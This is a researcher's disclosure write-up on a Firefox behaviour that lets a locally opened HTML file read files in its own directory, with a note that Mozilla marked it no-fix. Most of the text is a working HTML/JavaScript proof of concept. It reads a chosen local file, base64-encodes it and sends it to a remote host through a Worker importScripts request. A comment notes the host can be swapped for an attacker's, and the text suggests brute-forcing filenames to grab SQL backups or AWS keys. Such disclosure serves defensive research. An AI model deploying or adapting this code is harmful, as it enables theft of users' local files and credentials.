FireFox Arbitrary Local File Disclosure (NO-FIX)


One of the most serious browser exploits is the ability to read arbitrary files on the local disk. The last Firefox bug which did this was found in the wild and it relied on a flaw within the PDF reader that comes with the Firefox browser (ref: Firefox exploit found in the wild ) this was a far more serious bug as it only required a victim to visit a web page.
The bug here, however, is a bit different as it requires the victim to open an HTML file locally and is limited to reading files in the same directory as the opened HTML file.
Though my argument is that if the user downloads and saves the malicious HTML file in the downloads folder, then sensitive files such as SQL backups and AWS keys could be read and sent remotely almost instantly.
This could be done with the following PoC code:

<html>
<head>
    <title>Sensitive data disclosure PoC - @qab</title>
    <script type="application/javascript">
	window.onload=$=>{
		var doQ=(q)=>{//Simple XMLHttpRequest
			try{
			var oReq = new XMLHttpRequest();
				oReq.addEventListener("load", function(e){console.dir(e)});
				oReq.open("GET", q,false);
				oReq.send();
			setTimeout($=>{
					qSend(btoa(oReq.response));//contents of local file are base64 encoded and sent
					qContents.value=oReq.response;	
			},100);
			}catch(e){alert('File not found or restricted.')};
		};
		var qSend=(q)=>{
				new Worker(URL.createObjectURL(new Blob(['importScripts("http://localhost:777/'+q+'")'])));//This is the key, it will create a credentialed request to the remote host with the data
			//localhost can be changed to an attacker controlled host and data may be collected that way (viewing request logs)
		};
		qGo.onclick=(q)=>{
			doQ(qFile.value);
		};
	};
    </script>
</head>
<body>
<h3>Please open console and view network activity before pressing 'Go'</h3>
<input type="input" id="qFile" value="secret.txt"/>
<input type="button" id="qGo" value="Go"/>
<br>
<textarea cols=100 rows=11 id="qContents"></textarea><br>
<h3>There should be a request sent to an external website containing the base64 encoded contents of local file</h3>
</body>
</html>

In the above code a couple of things happen (after the user clicks 'Go' this was added to prevent the code from being automated and used maliciously):

1. Using XMLHttpRequest we send a request to look for a local file named 'secret.txt' (in the same directory as the local HTML file) if found, we return its content else we alert an error.
2. If contents are read and file exists, we then base64 encode the data received then send a request to a remote server with the encoded data added. (check network activity to see it)
So we proved we can read a file and send it to a remote host without any problems. It is very easy to be able to iterate hundreds of filenames until we find a file we can read (since XMLHttpRequest throws error if file doesn't exist)

Mozilla's response

There was some debate in the bugzilla report, initially this was marked 'sec-high' but was marked 'no-fix' after it was said that this is intended behavior by design.
In my opinion, even if its by design it does not excuse the fact its a security risk. Though I understand why its not being fixed, I believe there are too many people using this design behavior legitimately which meant that the benefit far outweighed the potential negatives from this.

References:

The Bugzilla report: https://bugzilla.mozilla.org/show_bug.cgi?id=1223992 (Note: The report is still hidden due to me mentioning another bug within this report)